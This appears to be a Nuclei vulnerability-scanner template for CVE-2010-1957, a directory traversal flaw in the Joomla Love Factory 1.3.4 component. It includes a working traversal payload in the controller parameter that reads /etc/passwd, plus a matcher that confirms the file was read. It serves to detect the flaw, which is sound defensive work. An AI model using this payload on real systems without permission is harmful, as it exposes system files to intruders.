id: CVE-2010-1957

info:
  name: Joomla! Component Love Factory 1.3.4 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Love Factory (com_lovefactory) component 1.3.4 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12235
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1957
    - http://packetstormsecurity.org/1004-exploits/joomlalovefactory-lfi.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57849
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1957
    cwe-id: CWE-22
    epss-score: 0.14847
    epss-percentile: 0.96263
    cpe: cpe:2.3:a:thefactory:com_lovefactory:1.3.4:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: thefactory
    product: com_lovefactory
  tags: cve,cve2010,lfi,edb,packetstorm,joomla,thefactory,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_lovefactory&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c6ba757f0a2de4e11c7b1c3e976beef6622abb18dbb996e9ae10d61dea2f4a2a022056f4ff09384076c8e50b31745ec34840056796a2cd714db8de22ddb1e51534bb:922c64590222798bb761d5b6d8e72950